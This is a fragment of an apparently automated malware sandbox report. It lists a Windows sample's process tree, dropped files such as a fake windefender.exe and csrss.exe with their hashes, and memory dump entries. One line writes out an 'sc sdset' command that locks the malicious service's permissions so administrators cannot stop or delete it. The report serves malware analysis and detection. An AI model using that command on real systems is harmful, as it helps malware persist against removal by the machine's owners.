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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Suspicious use of AdjustPrivilegeToken
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeMD5
d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
35dae9b5746fdab6e4a74172f69f9e49
SHA1438dfef4a69d6c74c142a8c0b63846c32abce6a2
SHA256f92deb731182f4a89fe3d358a5a5cd35ac180d2fc2e5da390e6dc77c41627c84
SHA512078c93c577204c5c9885a6ef0872406151020921cfdfeaa999d89357442ca01052da1db15c1fa445649bfa1d234641b1e1673a70133e5cab06f2507629e8ca81
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C:\Windows\rss\csrss.exeMD5
35dae9b5746fdab6e4a74172f69f9e49
SHA1438dfef4a69d6c74c142a8c0b63846c32abce6a2
SHA256f92deb731182f4a89fe3d358a5a5cd35ac180d2fc2e5da390e6dc77c41627c84
SHA512078c93c577204c5c9885a6ef0872406151020921cfdfeaa999d89357442ca01052da1db15c1fa445649bfa1d234641b1e1673a70133e5cab06f2507629e8ca81
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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C:\Windows\windefender.exeMD5
6512ae7c9f36206f6433f78296102419
SHA1abd1312c5727ac2a64ae5add1706d47cd65386eb
SHA2566b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883
SHA512a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
335ee604bc5976ee83b38f3dddfed723
SHA12511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac
SHA2568373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f
SHA51287ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee
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\Users\Admin\AppData\Local\Temp\osloader.exeMD5
78c581e475d59efdebee2d3f4355f03f
SHA1fda6c1f77f772afaa1b44a44c1fb29ee07434d10
SHA2569f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee
SHA51235ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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memory/8-9-0x0000000000000000-mapping.dmp
-
memory/200-16-0x00000000059B0000-0x00000000059B1000-memory.dmpFilesize
4KB
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memory/200-12-0x0000000000000000-mapping.dmp
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memory/1316-2-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB
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memory/1316-1-0x0000000005760000-0x0000000005761000-memory.dmpFilesize
4KB
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memory/1320-6-0x0000000000400000-0x0000000000B16000-memory.dmpFilesize
7.1MB
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memory/1320-5-0x0000000005510000-0x0000000005511000-memory.dmpFilesize
4KB
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memory/1320-3-0x0000000000000000-mapping.dmp
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memory/1376-39-0x0000000000000000-mapping.dmp
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memory/1396-11-0x0000000000000000-mapping.dmp
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memory/1420-28-0x0000000000000000-mapping.dmp
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memory/1836-10-0x0000000000000000-mapping.dmp
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memory/1840-27-0x0000000000000000-mapping.dmp
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memory/1840-34-0x0000000000000000-mapping.dmp
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memory/1908-50-0x0000000000000000-mapping.dmp
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memory/2032-51-0x0000000000000000-mapping.dmp
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memory/2068-29-0x0000000000000000-mapping.dmp
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memory/2076-41-0x0000000000000000-mapping.dmp
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memory/2416-40-0x0000000000000000-mapping.dmp
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memory/2416-33-0x0000000000000000-mapping.dmp
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memory/2416-26-0x0000000000000000-mapping.dmp
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memory/2464-36-0x0000000000000000-mapping.dmp
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memory/2540-19-0x0000000000000000-mapping.dmp
-
memory/2576-35-0x0000000000000000-mapping.dmp
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memory/2648-37-0x0000000000000000-mapping.dmp
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memory/2648-30-0x0000000000000000-mapping.dmp
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memory/3672-38-0x0000000000000000-mapping.dmp
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memory/3672-31-0x0000000000000000-mapping.dmp
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memory/3868-20-0x0000000000000000-mapping.dmp
-
memory/3912-18-0x0000000000000000-mapping.dmp
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memory/3944-8-0x0000000000000000-mapping.dmp
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memory/3976-32-0x0000000000000000-mapping.dmp
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memory/4092-44-0x0000000000000000-mapping.dmp
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memory/4092-47-0x0000000000400000-0x0000000000897000-memory.dmpFilesize
4.6MB